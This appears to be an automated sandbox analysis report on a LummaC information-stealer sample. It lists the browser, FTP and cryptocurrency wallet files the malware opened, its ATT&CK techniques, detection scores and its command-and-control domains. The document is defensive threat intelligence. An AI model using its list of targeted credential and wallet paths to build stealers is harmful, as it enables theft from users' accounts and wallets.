Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Directory queried: C:\Users\user\Documents\WKXEWIOTXI	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Directory queried: C:\Users\user\Documents\WKXEWIOTXI	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Directory queried: C:\Users\user\Documents\YPSIACHYXW	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Directory queried: C:\Users\user\Documents\YPSIACHYXW	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Directory queried: C:\Users\user\Documents\WKXEWIOTXI	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Directory queried: C:\Users\user\Documents\WKXEWIOTXI	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior

Source: Yara match

File source: Process Memory Space: X2hna87N3Y.exe PID: 7536, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: X2hna87N3Y.exe PID: 7536, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	211 Process Injection	11 Virtualization/Sandbox Evasion	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 PowerShell	Boot or Logon Initialization Scripts	1 DLL Side-Loading	211 Process Injection	LSASS Memory	1 Query Registry	Remote Desktop Protocol	41 Data from Local System	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Deobfuscate/Decode Files or Information	Security Account Manager	141 Security Software Discovery	SMB/Windows Admin Shares	2 Clipboard Data	113 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	3 Obfuscated Files or Information	NTDS	11 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Software Packing	LSA Secrets	1 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	11 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	33 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
X2hna87N3Y.exe	53%	Virustotal		Browse
X2hna87N3Y.exe	50%	ReversingLabs	Win32.Exploit.LummaC
X2hna87N3Y.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://tacitglibbr.biz/api5pnX	100%	Avira URL Cloud	malware
https://tacitglibbr.biz/$	100%	Avira URL Cloud	malware
https://tacitglibbr.biz/apiGy	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
tacitglibbr.biz	104.21.50.161	true	false		high

Contacted URLs

Name	Malicious	Reputation
sordid-snaked.cyou	false	high
awake-weaves.cyou	false	high
immureprech.biz	false	high
https://tacitglibbr.biz/api	false	high
deafeninggeh.biz	false	high
tacitglibbr.biz	false	high
debonairnukk.xyz	false	high
diffuculttan.xyz	false	high
effecterectz.xyz	false	high
wrathful-jammy.cyou	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	X2hna87N3Y.exe, 00000002.00000003.1790862040.0000000003849000.00000004.00000800.00020000.00000000.sdmp, X2hna87N3Y.exe, 00000002.00000003.1790714563.000000000385F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://tacitglibbr.biz/	X2hna87N3Y.exe, 00000002.00000003.1967520057.0000000003843000.00000004.00000800.00020000.00000000.sdmp, X2hna87N3Y.exe, 00000002.00000003.1967608175.0000000000FD7000.00000004.00000020.00020000.00000000.sdmp, X2hna87N3Y.exe, 00000002.00000003.1898523621.0000000003843000.00000004.00000800.00020000.00000000.sdmp, X2hna87N3Y.exe, 00000002.00000002.1968906269.0000000000FD7000.00000004.00000020.00020000.00000000.sdmp, X2hna87N3Y.exe, 00000002.00000003.1861640861.0000000003842000.00000004.00000800.00020000.00000000.sdmp, X2hna87N3Y.exe, 00000002.00000003.1837473248.0000000003841000.00000004.00000800.00020000.00000000.sdmp, X2hna87N3Y.exe, 00000002.00000003.1838884443.0000000003843000.00000004.00000800.00020000.00000000.sdmp, X2hna87N3Y.exe, 00000002.00000003.1865958853.0000000003843000.00000004.00000800.00020000.00000000.sdmp, X2hna87N3Y.exe, 00000002.00000003.1908365458.0000000003843000.00000004.00000800.00020000.00000000.sdmp, X2hna87N3Y.exe, 00000002.00000003.1861061599.0000000003841000.00000004.00000800.00020000.00000000.sdmp, X2hna87N3Y.exe, 00000002.00000003.1923244085.0000000003843000.00000004.00000800.00020000.00000000.sdmp, X2hna87N3Y.exe, 00000002.00000003.1837946467.0000000003843000.00000004.00000800.00020000.00000000.sdmp, X2hna87N3Y.exe, 00000002.00000003.1860626926.0000000003841000.00000004.00000800.00020000.00000000.sdmp, X2hna87N3Y.exe, 00000002.00000003.1839293002.0000000003843000.00000004.00000800.00020000.00000000.sdmp, X2hna87N3Y.exe, 00000002.00000003.1836962329.0000000003841000.00000004.00000800.00020000.00000000.sdmp, X2hna87N3Y.exe, 00000002.00000003.1910866448.0000000003843000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	X2hna87N3Y.exe, 00000002.00000003.1790862040.0000000003849000.00000004.00000800.00020000.00000000.sdmp, X2hna87N3Y.exe, 00000002.00000003.1790714563.000000000385F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	X2hna87N3Y.exe, 00000002.00000003.1839293002.000000000383A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	X2hna87N3Y.exe, 00000002.00000003.1790862040.0000000003849000.00000004.00000800.00020000.00000000.sdmp, X2hna87N3Y.exe, 00000002.00000003.1790714563.000000000385F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://tacitglibbr.biz/api5pnX	X2hna87N3Y.exe, 00000002.00000003.1899145307.0000000003848000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	X2hna87N3Y.exe, 00000002.00000003.1839293002.000000000383A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	X2hna87N3Y.exe, 00000002.00000003.1790862040.0000000003849000.00000004.00000800.00020000.00000000.sdmp, X2hna87N3Y.exe, 00000002.00000003.1790714563.000000000385F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	X2hna87N3Y.exe, 00000002.00000003.1837741208.000000000386E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	X2hna87N3Y.exe, 00000002.00000003.1839293002.000000000383A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	X2hna87N3Y.exe, 00000002.00000003.1790862040.0000000003849000.00000004.00000800.00020000.00000000.sdmp, X2hna87N3Y.exe, 00000002.00000003.1790714563.000000000385F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://tacitglibbr.biz/apiGy	X2hna87N3Y.exe, 00000002.00000003.1967520057.0000000003848000.00000004.00000800.00020000.00000000.sdmp, X2hna87N3Y.exe, 00000002.00000002.1969538530.0000000003848000.00000004.00000800.00020000.00000000.sdmp, X2hna87N3Y.exe, 00000002.00000003.1923244085.0000000003843000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://ocsp.rootca1.amazontrust.com0:	X2hna87N3Y.exe, 00000002.00000003.1837741208.000000000386E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	X2hna87N3Y.exe, 00000002.00000003.1815799189.0000000003885000.00000004.00000800.00020000.00000000.sdmp, X2hna87N3Y.exe, 00000002.00000003.1791495698.0000000003885000.00000004.00000800.00020000.00000000.sdmp, X2hna87N3Y.exe, 00000002.00000003.1791387786.0000000003885000.00000004.00000800.00020000.00000000.sdmp, X2hna87N3Y.exe, 00000002.00000003.1791313972.000000000388C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	X2hna87N3Y.exe, 00000002.00000003.1815799189.0000000003885000.00000004.00000800.00020000.00000000.sdmp, X2hna87N3Y.exe, 00000002.00000003.1791495698.0000000003885000.00000004.00000800.00020000.00000000.sdmp, X2hna87N3Y.exe, 00000002.00000003.1791387786.0000000003885000.00000004.00000800.00020000.00000000.sdmp, X2hna87N3Y.exe, 00000002.00000003.1791313972.000000000388C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	X2hna87N3Y.exe, 00000002.00000003.1790862040.0000000003849000.00000004.00000800.00020000.00000000.sdmp, X2hna87N3Y.exe, 00000002.00000003.1790714563.000000000385F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	X2hna87N3Y.exe, 00000002.00000003.1838918603.000000000395C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://tacitglibbr.biz/$	X2hna87N3Y.exe, 00000002.00000003.1898523621.0000000003843000.00000004.00000800.00020000.00000000.sdmp, X2hna87N3Y.exe, 00000002.00000003.1908365458.0000000003843000.00000004.00000800.00020000.00000000.sdmp, X2hna87N3Y.exe, 00000002.00000003.1923244085.0000000003843000.00000004.00000800.00020000.00000000.sdmp, X2hna87N3Y.exe, 00000002.00000003.1910866448.0000000003843000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ac.ecosia.org/autocomplete?q=	X2hna87N3Y.exe, 00000002.00000003.1790862040.0000000003849000.00000004.00000800.00020000.00000000.sdmp, X2hna87N3Y.exe, 00000002.00000003.1790714563.000000000385F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	X2hna87N3Y.exe, 00000002.00000003.1839293002.000000000383A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	X2hna87N3Y.exe, 00000002.00000003.1839293002.000000000383A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.c.lencr.org/0	X2hna87N3Y.exe, 00000002.00000003.1837741208.000000000386E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	X2hna87N3Y.exe, 00000002.00000003.1837741208.000000000386E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	X2hna87N3Y.exe, 00000002.00000003.1791387786.0000000003860000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	X2hna87N3Y.exe, 00000002.00000003.1790862040.0000000003849000.00000004.00000800.00020000.00000000.sdmp, X2hna87N3Y.exe, 00000002.00000003.1790714563.000000000385F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.microsof	X2hna87N3Y.exe, 00000002.00000003.1791313972.000000000388E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	X2hna87N3Y.exe, 00000002.00000003.1837741208.000000000386E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	X2hna87N3Y.exe, 00000002.00000003.1791387786.0000000003860000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.all	X2hna87N3Y.exe, 00000002.00000003.1838918603.000000000395C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	X2hna87N3Y.exe, 00000002.00000003.1790862040.0000000003849000.00000004.00000800.00020000.00000000.sdmp, X2hna87N3Y.exe, 00000002.00000003.1790714563.000000000385F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	X2hna87N3Y.exe, 00000002.00000003.1839293002.000000000383A000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.21.50.161	tacitglibbr.biz	United States		13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1576576
Start date and time:	2024-12-17 09:43:46 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 22s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	X2hna87N3Y.exe renamed because original name is a hash value
Original Sample Name:	443f4cf9f362a96bbd0845ba6d2859f0.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@4/0@1/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 96% Number of executed functions: 41 Number of non-executed functions: 141
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 20.109.210.53, 13.107.246.63
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
